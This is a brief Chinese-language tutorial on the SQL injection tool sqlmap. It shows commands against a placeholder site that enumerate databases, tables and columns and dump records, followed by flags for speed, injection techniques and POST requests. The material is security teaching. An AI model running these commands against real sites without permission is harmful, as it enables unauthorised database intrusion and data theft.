Intro
迅速了解強大的SQLi工具: sqlmap。本文會介紹它的基礎用法和適用場景,有興趣的可再詳細研究,因為 sqlmap 的功能面廣,可能沒辦法在這一篇文章中涵蓋全部,因此今天只介紹它的常用指令
常用指令(GET)
# 枚舉所有database
sqlmap -u 'http://test.com/search/?query=cat' --dbs
# 枚舉database=blog下所有的tables
sqlmap -u 'http://test.com/search/?query=cat' -D blog --tables
# 枚舉database=blog,table=articles下所有的columns
sqlmap -u 'http://test.com/search/?query=cat' -D blog -T articles --columns
# 找出在databa=blog,table=articles,column(title)='life'對應的column(author)值
# 也就等同於 use blog; select author from articles where title='life';
sqlmap -u 'http://test.com/search/?query=cat' -D blog -T articles -C author --dump --where="title='life'"
常用加快進程參數
因為 sqlmap 在初步偵測(database/table/column)的時候採用枚舉,速度會非常慢,因此大多都搭配參數提高效率:
--batch: 跳過執行過程中需要手動回答的選項,全部採用默認--threads=5: 多線程--retries=1: 每次失敗再執行幾次--level=1: 測試範圍(1~5)--timeout=10: 每次請求等待多久--technique=U: 限定使用什麼方法(default:”BEUSTQ”)B: boolean-basedE: error-basedU: union-basedS: stacked-queriesT: time-basedQ: inline-queries
其他參數
-hh: 全部的Help菜單-r: 用於POST請求的sqlmap,用法為:-r post_requests.txt這個文件儲存POST請求格式,最簡單的方法可使用Burp-suite攔截並儲存(Copy to file)-p: 要注入的參數,通常搭配POST請求使用--data: 要加到POST請求的data:--data="id=1"--dump-all: dump出所有database下的所有資料--current-user: 枚舉出當前DBMS用戶